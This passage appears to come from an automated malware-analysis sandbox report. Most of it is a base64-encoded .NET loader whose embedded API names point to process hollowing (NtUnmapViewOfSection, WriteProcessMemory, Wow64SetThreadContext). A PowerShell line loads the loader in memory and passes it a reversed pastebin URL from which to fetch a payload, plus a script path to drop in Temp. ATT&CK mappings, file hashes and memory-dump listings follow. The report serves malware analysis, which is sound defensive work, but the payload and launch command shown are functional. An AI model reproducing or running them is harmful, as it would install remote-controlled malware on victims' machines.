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9kdWxlQXR0cmlidXRlAEhpZGVNb2R1bGVOYW1lQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAT2JmdXNjYXRpb25BdHRyaWJ1dGUATXlHcm91cENvbGxlY3Rpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBZYW5vQXR0cmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAQXNzZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBTdXBwcmVzc1VubWFuYWdlZENvZGVTZWN1cml0eUF0dHJpYnV0ZQBCeXRlAGdldF9WYWx1ZQBzZXRfVmFsdWUAR2V0T2JqZWN0VmFsdWUAZ2V0X1NpemUAU2l6ZU9mAFRvU3RyaW5nAHBhdGgATWFyc2hhbABNaWNyb3NvZnQuVmlzdWFsQmFzaWMuTXlTZXJ2aWNlcy5JbnRlcm5hbABTeXN0ZW0uQ29tcG9uZW50TW9kZWwAQ2xhc3NMaWJyYXJ5MS5kbGwAa2VybmVsMzIuZGxsAG50ZGxsLmRsbABLaWxsAFN5c3RlbQBCb29sZWFuAFZlcnNpb24AU3lzdGVtLkNvbmZpZ3VyYXRpb24AU3lzdGVtLkdsb2JhbGl6YXRpb24ATnRVbm1hcFZpZXdPZlNlY3Rpb24AU3lzdGVtLlJlZmxlY3Rpb24ARXhjZXB0aW9uAFJ1bgBDdWx0dXJlSW5mbwBaZXJvAEJ1ZmZlcgBSZXNvdXJjZU1hbmFnZXIAVXNlcgBCaXRDb252ZXJ0ZXIAQ29tcHV0ZXIAQ2xlYXJQcm9qZWN0RXJyb3IAU2V0UHJvamVjdEVycm9yAEFjdGl2YXRvcgAuY3RvcgAuY2N0b3IASW50UHRyAFN5c3RlbS5EaWFnbm9zdGljcwBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuRGV2aWNlcwBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuQXBwbGljYXRpb25TZXJ2aWNlcwBTeXN0ZW0uUn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';[Byte[]] $EuKVK = [System.Convert]::FromBase64String( $bFjDJ );[System.AppDomain]::CurrentDomain.Load($EuKVK).GetType('ClassLibrary3.reed').GetMethod('testd').Invoke($null, [object[]] ('xvdvZ3wN/war/moc.nibetsap//:sptth' , 'C:\Users\Admin\AppData\Local\Temp\Chromeglogge.js' , 'Chromeudata', '3', '1', 'Regedit Name' ) );
    3⤵
    - Drops file in System32 directory
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2272

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JEYCO3VQFYYUCD2LA277.temp

Filesize
7KB

MD5
8bef6d3d5cc61292c771aa111e944544

SHA1
769bcdb79c1b25df87d98305a9fe89ad8a339d7b

SHA256
d6909e90ce4c1b333ea5fcadbe18be7c7401de6069bac52e2addda64b08bd9c8

SHA512
6d7ceddd42a713363fe57f7cbf04df14db1799ccdda1105d9337e90a85da6fe71cf3410ca69b6fa3ff5f2628a1826c0cc7187167f764b6b7a258e5fa1a0077fd

Download Submit
C:\Users\Admin\AppData\Roaming\úùÆüÔ.js

Filesize
55KB

MD5
12d9dd656cf9d53ce503700f87661b92

SHA1
0a5cbf3facb5d2d683fa7ea1cae6993bfaa36204

SHA256
762e98e32a464f85df3585a9ba1c557115feb303d8bd3d96ba7260a1e4d34a61

SHA512
62bfec1376f1bd1647345a6c0f3401148db8943866b520b839b0c92a1d1aabe5e9d2dce7f6c4f2811626dbed8f1b7479802a9bbedeebe1c804ddf60eadb5fe58

Download Submit
memory/1740-29-0x0000000071F8D000-0x0000000071F98000-memory.dmp

Filesize
44KB

Download
memory/1740-5-0x0000000000570000-0x0000000000670000-memory.dmp

Filesize
1024KB

Download
memory/1740-28-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1740-0-0x000000002D8C1000-0x000000002D8C2000-memory.dmp

Filesize
4KB

Download
memory/1740-2-0x0000000071F8D000-0x0000000071F98000-memory.dmp

Filesize
44KB

Download
memory/1740-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2272-44-0x000000001B640000-0x000000001B922000-memory.dmp

Filesize
2.9MB

Download
memory/2272-45-0x0000000001F70000-0x0000000001F78000-memory.dmp

Filesize
32KB

Download
memory/2500-37-0x00000000004E0000-0x00000000004E8000-memory.dmp

Filesize
32KB

Download
memory/2500-36-0x000000001B760000-0x000000001BA42000-memory.dmp

Filesize
2.9MB

Download
memory/2500-38-0x0000000002460000-0x000000000246C000-memory.dmp

Filesize
48KB

Download